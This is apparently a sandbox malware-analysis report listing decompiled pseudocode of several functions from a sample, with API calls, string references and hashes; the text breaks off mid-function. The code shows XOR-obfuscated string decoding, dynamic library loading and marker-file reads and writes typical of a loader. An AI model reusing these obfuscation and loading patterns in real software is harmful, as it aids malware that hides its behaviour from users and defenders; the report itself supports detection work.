Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleLocalStringsTimeWrite
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 2838349079-3443472032
Opcode ID: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction ID: 9d5602a8bff07f8f1bd6dde567594dbbd8fa68865cf92d56b2b83de2356b4480
Opcode Fuzzy Hash: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction Fuzzy Hash: 4C41112010C3C199D322D7389848B8FBFD15BA7218F488B9DF1E45A2D2C2759249C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 004120C0, Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 150
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004120C0(void* __ebx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				signed int _v308;
				signed int _v309;
				intOrPtr _t73;
				void* _t75;
				long _t82;
				struct HINSTANCE__* _t86;
				signed char _t88;
				_Unknown_base(*)()* _t90;
				signed char _t96;
				signed char _t99;
				signed int _t110;
				signed int _t111;
				signed char _t114;
				signed int _t123;
				signed char _t124;
				signed char _t128;
				signed char _t137;
				signed char _t138;
				void* _t141;
				struct HINSTANCE__* _t142;
				void* _t145;

				_t141 = __esi;
				_t73 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t73;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x8b;
				_v268 = 0xeb;
				_v267 = 0xc2;
				_t75 = 0;
				do {
					 *(_t145 + _t75 + 0xc) =  *(_t145 + _t75 + 0xc) ^  *(_t145 + _t75 + 0x20);
					_t75 = _t75 + 1;
				} while (_t75 < 0x13);
				_t128 =  *0x431c90; // 0x0
				_t110 = 0x2b7a + (_t128 + 0x00000079 & 0x000000ff ^ _v309 & 0x000000ff ^ 0x00000008 | 0x00000037) * 0x5d;
				_v309 = _t110 + 0x59;
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t111 = _t110 | 0x00007df3;
				_v309 = _v309 ^ _t111 + 0x00000066;
				_t82 = GetFileAttributesA( &_v264);
				_t149 = _t82 - 0xffffffff;
				if(_t82 != 0xffffffff) {
					L4:
					_push(_t141);
					_v308 = (_v309 & 0x000000ff) * _t111 + 0x762;
					_t86 = LoadLibraryA( &_v264);
					_t123 = _v308;
					_t142 = _t86;
					_t88 = _t123 + 0x59;
					_t114 = (_t88 & 0x000000ff) * _t123 + 0x29d6;
					if(_t142 != 0) {
						_t124 =  *0x431c90; // 0x0
						_v309 = _t88 ^ _t114 + _t124 + 0x0000002b;
						_t90 = GetProcAddress(_t142, "t");
						_t137 =  *0x431c90; // 0x0
						_t138 = _t137 + _t114 * _v309 * 0xb8;
						__eflags = _t138;
						 *0x431c90 = _t138;
						_t94 =  *0x431f18(5, _t90, _t142, 0);
						goto L7;
					} else {
						_t96 =  *0x431c90; // 0x0
						 *0x431c90 = _t96 | 0x00000061;
						return E00424873(_t96 | 0x00000061, _v4);
					}
				} else {
					_t99 = _v309;
					_t111 = _t99 & 0x000000ff ^ 0x00000049;
					_v309 = _t99 ^ _t111 - 0x0000005e;
					_push("s");
					_push( &_v264);
					if(E0041E0B0(_t149, 0) == 0) {
						L7:
						return E00424873(_t94, _v20);
					} else {
						goto L4;
					}
				}
			}

0x004120c0
0x004120c6
0x004120cb
0x004120d6
0x004120da
0x004120de
0x004120e3
0x004120e8
0x004120ed
0x004120f2
0x004120f7
0x004120fb
0x00412100
0x00412105
0x0041210a
0x0041210f
0x00412114
0x00412119
0x0041211e
0x00412123
0x00412128
0x0041212d
0x00412132
0x00412137
0x0041213c
0x00412141
0x00412146
0x0041214a
0x0041214f
0x00412154
0x00412159
0x0041215e
0x00412163
0x00412168
0x0041216d
0x00412172
0x00412177
0x0041217c
0x00412181
0x00412186
0x0041218b
0x00412190
0x00412193
0x0041219d
0x004121a1
0x004121a2
0x004121a7
0x004121c8
0x004121dc
0x004121e0
0x004121ea
0x004121f6
0x004121ff
0x00412205
0x00412208
0x0041223b
0x00412243
0x0041224e
0x00412252
0x00412258
0x0041225c
0x00412260
0x00412268
0x00412270
0x00412293
0x004122a8
0x004122ac
0x004122be
0x004122c8
0x004122c8
0x004122cc
0x004122d2
0x00000000
0x00412272
0x00412272
0x0041227a
0x00412292
0x00412292
0x0041220a
0x0041220a
0x00412211
0x0041221b
0x0041221f
0x00412228
0x00412235
0x004122d9
0x004122ec
0x00000000
0x00000000
0x00000000
0x00412235

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
GetFileAttributesA.KERNEL32(?), ref: 004121FF
LoadLibraryA.KERNEL32(?,00000000), ref: 00412252
GetProcAddress.KERNEL32(00000000,0042E3F0), ref: 004122AC

Strings

<, xrefs: 0041214A
h, xrefs: 0041215E
x, xrefs: 004120F2
', xrefs: 00412100
m, xrefs: 0041213C
0, xrefs: 0041211E
t, xrefs: 00412172
:, xrefs: 004120E3
4, xrefs: 00412105
Y, xrefs: 004120E8
F, xrefs: 00412177
{, xrefs: 004120DE
G@,, xrefs: 004120C6
z, xrefs: 00412114
^, xrefs: 00412137

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressAttributesEnvironmentExpandFileLibraryLoadProcStrings
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 925820237-3443472032
Opcode ID: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction ID: 95e2059b24e6b08625558fafe1d9927b9274d35295d34d11aa50597a438a658b
Opcode Fuzzy Hash: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction Fuzzy Hash: C651631010C3D19AD311DB39989579BBFD45BA7328F485A9DF4E8472D3C269820DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 004129C0, Relevance: 33.3, APIs: 4, Strings: 15, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004129C0(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				void _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				long _v308;
				intOrPtr _t53;
				void* _t55;
				void* _t76;
				long* _t79;

				_t79 =  &_v308;
				_t53 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t53;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x8b;
				_v268 = 0xe6;
				_v267 = 0xda;
				_t55 = 0;
				do {
					 *(_t79 + _t55 + 4) =  *(_t79 + _t55 + 4) ^  *(_t79 + _t55 + 0x18);
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t76 = CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0);
				if(_t76 != 0xffffffff) {
					ReadFile(_t76,  &_v284, 0x10,  &_v308, 0);
					CloseHandle(_t76);
					return E00424873(1, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x004129c0
0x004129c6
0x004129cb
0x004129d6
0x004129da
0x004129de
0x004129e3
0x004129e8
0x004129ed
0x004129f2
0x004129f7
0x004129fb
0x00412a00
0x00412a05
0x00412a0a
0x00412a0f
0x00412a14
0x00412a19
0x00412a1e
0x00412a23
0x00412a28
0x00412a2d
0x00412a32
0x00412a37
0x00412a3c
0x00412a41
0x00412a46
0x00412a4a
0x00412a4f
0x00412a54
0x00412a59
0x00412a5e
0x00412a63
0x00412a68
0x00412a6d
0x00412a72
0x00412a77
0x00412a7c
0x00412a81
0x00412a86
0x00412a8b
0x00412a90
0x00412a92
0x00412a9c
0x00412aa0
0x00412aa1
0x00412ab6
0x00412ad6
0x00412adb
0x00412b02
0x00412b09
0x00412b27
0x00412add
0x00412af2
0x00412af2

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412AB6
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00412AD0
ReadFile.KERNEL32(00000000,000000E6,00000010,?,00000000), ref: 00412B02
CloseHandle.KERNEL32(00000000), ref: 00412B09

Strings

', xrefs: 00412A00
z, xrefs: 00412A14
0, xrefs: 00412A1E
F, xrefs: 00412A77
<, xrefs: 00412A4A
4, xrefs: 00412A05
t, xrefs: 00412A72
{, xrefs: 004129DE
Y, xrefs: 004129E8
^, xrefs: 00412A37
G@,, xrefs: 004129C6
h, xrefs: 00412A5E
x, xrefs: 004129F2
:, xrefs: 004129E3
m, xrefs: 00412A3C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 2873326616-3443472032
Opcode ID: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction ID: 8c6ea43fa09a3286770b603215ecff93b091f737eb22e7810364243bb09da271
Opcode Fuzzy Hash: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction Fuzzy Hash: 4E41032010C3C199D322D73C984878FBFD55BA7318F488B9DF1E85A2D2D3A99649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610, Relevance: 33.3, APIs: 4, Strings: 15, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B610(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				long _v308;
				intOrPtr _t48;
				void _t49;
				void* _t53;
				void* _t68;
				long* _t70;

				_t70 =  &_v308;
				_t48 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t48;
				_t49 =  *0x4310b8; // 0xffffffff
				if(_t49 == 0xffffffff) {
					_v299 = 0xb0;
					_v281 = 0xb0;
					_v275 = 0x8c;
					_v269 = 0x8c;
					_v304 = 0x7b;
					_v303 = 0x3a;
					_v302 = 0x59;
					_v301 = 0xfe;
					_v300 = 0x78;
					_v298 = 0xb1;
					_v297 = 0x27;
					_v296 = 0x34;
					_v295 = 0xf8;
					_v294 = 0x7f;
					_v293 = 0x7a;
					_v292 = 6;
					_v291 = 0x30;
					_v290 = 0xcb;
					_v289 = 0xef;
					_v288 = 0x87;
					_v284 = 0x5e;
					_v283 = 0x6d;
					_v282 = 0x10;
					_v280 = 0x3c;
					_v279 = 0xf9;
					_v278 = 0xe3;
					_v277 = 2;
					_v276 = 0x68;
					_v274 = 0xc;
					_v273 = 0x1f;
					_v272 = 0x74;
					_v271 = 0x46;
					_v270 = 0xe5;
					_v268 = 0x87;
					_t53 = 0;
					do {
						 *(_t70 + _t53 + 4) =  *(_t70 + _t53 + 4) ^  *(_t70 + _t53 + 0x18);
						_t53 = _t53 + 1;
					} while (_t53 < 0x11);
					 *0x4310b8 = 0;
					ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
					_t68 = CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0);
					if(_t68 != 0xffffffff) {
						if(ReadFile(_t68, 0x4310b8, 4,  &_v308, 0) == 0 || _v308 != 4) {
							 *0x4310b8 = 0;
						}
						CloseHandle(_t68);
					}
					_t49 =  *0x4310b8; // 0xffffffff
				}
				return E00424873(_t49, _v4);
			}

0x0040b610
0x0040b616
0x0040b61b
0x0040b622
0x0040b62a
0x0040b632
0x0040b636
0x0040b63e
0x0040b642
0x0040b646
0x0040b64b
0x0040b650
0x0040b655
0x0040b65a
0x0040b65f
0x0040b664
0x0040b669
0x0040b66e
0x0040b673
0x0040b678
0x0040b67d
0x0040b682
0x0040b687
0x0040b68c
0x0040b691
0x0040b695
0x0040b69a
0x0040b69f
0x0040b6a4
0x0040b6a9
0x0040b6ae
0x0040b6b3
0x0040b6b8
0x0040b6bd
0x0040b6c2
0x0040b6c7
0x0040b6cc
0x0040b6d1
0x0040b6d6
0x0040b6da
0x0040b6e0
0x0040b6ea
0x0040b6ee
0x0040b6ef
0x0040b704
0x0040b70e
0x0040b72e
0x0040b733
0x0040b74c
0x0040b755
0x0040b755
0x0040b760
0x0040b760
0x0040b766
0x0040b76b
0x0040b77e

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
CloseHandle.KERNEL32(00000000), ref: 0040B760

Strings

<, xrefs: 0040B6A4
t, xrefs: 0040B6C7
F, xrefs: 0040B6CC
Y, xrefs: 0040B650
x, xrefs: 0040B65A
', xrefs: 0040B664
h, xrefs: 0040B6B8
{, xrefs: 0040B646
m, xrefs: 0040B69A
G@,, xrefs: 0040B616
:, xrefs: 0040B64B
4, xrefs: 0040B669
^, xrefs: 0040B695
0, xrefs: 0040B682
z, xrefs: 0040B678

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 2873326616-3443472032
Opcode ID: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction ID: c9ca788773da980f5d214099c4e0c2fa05920a1819a7867e2b669ae635df4d4e
Opcode Fuzzy Hash: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction Fuzzy Hash: 6341142010C3C199D322DB28984874FBFD15BA6718F588A5DF1E85B2E2C3B5964DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B780, Relevance: 33.3, APIs: 4, Strings: 15, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B780(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				long _v308;
				intOrPtr _t47;
				void* _t50;
				void* _t66;
				long* _t68;

				_t68 =  &_v308;
				_t47 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t47;
				 *0x4310b8 =  *0x4310b8 + 1;
				_v299 = 0xb0;
				_v281 = 0xb0;
				_v275 = 0x8c;
				_v269 = 0x8c;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v268 = 0x87;
				_t50 = 0;
				do {
					 *(_t68 + _t50 + 4) =  *(_t68 + _t50 + 4) ^  *(_t68 + _t50 + 0x18);
					_t50 = _t50 + 1;
				} while (_t50 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t66 = CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0);
				WriteFile(_t66, 0x4310b8, 4,  &_v308, 0);
				return E00424873(CloseHandle(_t66), _v4);
			}

0x0040b780
0x0040b786
0x0040b78b
0x0040b792
0x0040b79a
0x0040b79e
0x0040b7a6
0x0040b7aa
0x0040b7ae
0x0040b7b3
0x0040b7b8
0x0040b7bd
0x0040b7c2
0x0040b7c7
0x0040b7cc
0x0040b7d1
0x0040b7d6
0x0040b7db
0x0040b7e0
0x0040b7e5
0x0040b7ea
0x0040b7ef
0x0040b7f4
0x0040b7f9
0x0040b7fd
0x0040b802
0x0040b807
0x0040b80c
0x0040b811
0x0040b816
0x0040b81b
0x0040b820
0x0040b825
0x0040b82a
0x0040b82f
0x0040b834
0x0040b839
0x0040b83e
0x0040b842
0x0040b844
0x0040b84e
0x0040b852
0x0040b853
0x0040b868
0x0040b891
0x0040b899
0x0040b8b9

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 0040B868
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040B882
WriteFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B899
CloseHandle.KERNEL32(00000000), ref: 0040B8A0

Strings

m, xrefs: 0040B802
z, xrefs: 0040B7E0
h, xrefs: 0040B820
^, xrefs: 0040B7FD
F, xrefs: 0040B834
x, xrefs: 0040B7C2
', xrefs: 0040B7CC
4, xrefs: 0040B7D1
t, xrefs: 0040B82F
0, xrefs: 0040B7EA
<, xrefs: 0040B80C
G@,, xrefs: 0040B786
{, xrefs: 0040B7AE
:, xrefs: 0040B7B3
Y, xrefs: 0040B7B8

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleStringsWrite
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 4155862527-3443472032
Opcode ID: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction ID: baa3cae5f5ab34e93cfd813ff7becf06d1d45a190b3b457302884b7f26e423b1
Opcode Fuzzy Hash: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction Fuzzy Hash: E831232014D3C1D9D312D7289848B8FBFD05BA7318F488A5DF1D85A2D2C3B9824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 00419AC0, Relevance: 28.5, APIs: 5, Strings: 11, Instructions: 456
synchronizationfileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00419AC0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t164;
				signed int _t178;
				intOrPtr _t180;
				intOrPtr* _t190;
				signed int _t197;
				intOrPtr* _t200;
				intOrPtr* _t248;
				intOrPtr* _t249;
				intOrPtr* _t250;
				signed int _t252;
				intOrPtr* _t255;
				intOrPtr* _t256;
				intOrPtr* _t257;
				signed int _t260;
				signed char _t264;
				signed char _t266;
				signed int _t271;
				signed int _t272;
				intOrPtr* _t281;
				signed char _t282;
				signed char _t284;
				signed char _t288;
				signed int _t290;
				signed char _t292;
				signed char _t296;
				signed char _t297;
				signed int _t299;
				signed char _t301;
				signed char _t319;
				signed char _t327;
				signed char _t337;
				signed char _t338;
				signed int _t355;
				signed int _t368;
				void* _t373;
				intOrPtr _t376;
				signed short _t379;
				intOrPtr* _t380;
				intOrPtr* _t381;
				intOrPtr* _t382;
				signed int _t383;
				signed int _t386;
				intOrPtr* _t387;
				intOrPtr* _t388;
				intOrPtr* _t389;
				void* _t390;
				signed int _t392;
				void* _t394;
				void* _t396;
				void* _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t403;
				void* _t404;
				void* _t405;

				_t385 = __esi;
				_t164 =  *0x4310d8; // 0x2c0d4047
				_t398 = __ecx;
				_t271 =  *(_t399 + 0x248);
				_t373 =  *(_t399 + 0x248);
				 *((intOrPtr*)(_t399 + 0x240)) = _t164;
				_t272 = _t271 >> 2;
				memset(_t373 + _t272, memset(_t373, 0, _t272 << 2), (_t271 & 0x00000003) << 0);
				_t401 = _t399 + 0x18;
				GetTempPathA(0x104, _t401 + 0x13c);
				GetTempFileNameA(_t401 + 0x148, 0x42e290, 0, _t401 + 0x38);
				_t376 = E004259AD(_t401 + 0x38, "wt");
				_t402 = _t401 + 8;
				_t406 = _t376;
				 *((intOrPtr*)(_t402 + 0xc)) = _t376;
				if(_t376 != 0) {
					_push(__esi);
					WaitForSingleObject( *(_t398 + 0x24), 0xffffffff);
					 *((char*)(_t402 + 0x34)) = 0x5a;
					 *((char*)(_t402 + 0x35)) = 0x9c;
					 *((char*)(_t402 + 0x36)) = 0x50;
					 *((char*)(_t402 + 0x37)) = 0xe5;
					 *((char*)(_t402 + 0x38)) = 0x74;
					 *((char*)(_t402 + 0x1c)) = 0x93;
					 *((char*)(_t402 + 0x1d)) = 0xe1;
					 *((char*)(_t402 + 0x1e)) = 0x84;
					 *((char*)(_t402 + 0x1f)) = 0xf7;
					 *((char*)(_t402 + 0x20)) = 0xca;
					_push(E00419690(_t402 + 0x1c, 5, _t402 + 0x30));
					_push(_t376);
					E004258F3(__esi, _t406);
					_t178 =  *0x431e5c; // 0x42
					_t281 =  *((intOrPtr*)(_t398 + 4));
					_t180 =  *_t281;
					_t403 = _t402 + 8;
					_t264 = _t178 * 0x00000058 | 0x00000010;
					_t407 = _t180 - _t281;
					 *((intOrPtr*)(_t403 + 0x18)) = _t180;
					if(_t180 != _t281) {
						_t264 = 0;
						do {
							_push( *((intOrPtr*)(_t180 + 0x10)));
							_push( *((intOrPtr*)(_t180 + 0xc)));
							_push("%d:%d,");
							_push(_t376);
							E004258F3(__esi, _t407);
							_t327 =  *0x431e58; // 0x42
							_t368 =  *0x431e5c; // 0xf01c0042
							_t260 =  *0x431e64; // 0xeffc0042
							 *0x431e60 = _t327 | 0x00000047;
							_t403 = _t403 + 0x10;
							 *0x431e64 = _t368 + 0x00000010 & _t260 | 0x00000052;
							 *0x431e58 = 0x47;
							E004198E0(_t403 + 0x18);
							_t180 =  *((intOrPtr*)(_t403 + 0x18));
							_t408 = _t180 -  *((intOrPtr*)(_t398 + 4));
						} while (_t180 !=  *((intOrPtr*)(_t398 + 4)));
					}
					 *((char*)(_t403 + 0x3d)) = 0x91;
					 *((char*)(_t403 + 0x20)) = 0x91;
					_push(6);
					_push(_t403 + 0x38);
					 *((char*)(_t403 + 0x40)) = 0x13;
					 *((char*)(_t403 + 0x41)) = 0x85;
					 *((char*)(_t403 + 0x42)) = 0xb6;
					 *((char*)(_t403 + 0x43)) = 0x41;
					 *((char*)(_t403 + 0x44)) = 0x75;
					 *((char*)(_t403 + 0x29)) = 0x48;
					 *((char*)(_t403 + 0x2a)) = 0x37;
					 *((char*)(_t403 + 0x2b)) = 0xc4;
					 *((char*)(_t403 + 0x2c)) = 0xf6;
					 *((char*)(_t403 + 0x2d)) = 0x35;
					_push(E00419760(_t403 + 0x28));
					_push(_t376);
					E004258F3(_t385, _t408);
					_t386 =  *0x431e5c; // 0xf01c0042
					 *(_t403 + 0x28) = ( *0x431e60 & 0x000000ff) << 0x00000002 & _t386 | 0x00000010;
					_t190 =  *((intOrPtr*)(_t398 + 0x10));
					_t387 =  *_t190;
					_t404 = _t403 + 0x10;
					_t409 = _t387 - _t190;
					if(_t387 != _t190) {
						do {
							_push( *((intOrPtr*)(_t387 + 0x10)));
							_push( *((intOrPtr*)(_t387 + 0xc)));
							_push("%d:%d,");
							_push(_t376);
							E004258F3(_t387, _t409);
							_t252 =  *0x431e60; // 0x42
							_t319 =  *0x431e5c; // 0x42
							 *0x431e64 = 0xa;
							_t404 = _t404 + 0x10;
							_t264 = _t319 ^ _t264 | _t252 * 0x00000058;
							if( *((intOrPtr*)(_t387 + 0x15)) == 0) {
								_t255 =  *((intOrPtr*)(_t387 + 8));
								if( *((intOrPtr*)(_t255 + 0x15)) != 0) {
									_t256 =  *((intOrPtr*)(_t387 + 4));
									__eflags =  *((intOrPtr*)(_t256 + 0x15));
									if(__eflags == 0) {
										while(1) {
											__eflags = _t387 -  *((intOrPtr*)(_t256 + 8));
											if(__eflags != 0) {
												goto L13;
											}
											_t387 = _t256;
											_t256 =  *((intOrPtr*)(_t256 + 4));
											__eflags =  *((intOrPtr*)(_t256 + 0x15));
											if(__eflags == 0) {
												continue;
											}
											goto L13;
										}
									}
									L13:
									_t387 = _t256;
								} else {
									_t387 = _t255;
									_t257 =  *_t387;
									while( *((intOrPtr*)(_t257 + 0x15)) == 0) {
										_t387 = _t257;
										_t257 =  *_t387;
									}
								}
							}
							_t414 = _t387 -  *((intOrPtr*)(_t398 + 0x10));
						} while (_t387 !=  *((intOrPtr*)(_t398 + 0x10)));
					}
					 *((char*)(_t404 + 0x2c)) = 0x53;
					 *((char*)(_t404 + 0x20)) = 0x53;
					_push(5);
					_push(_t404 + 0x28);
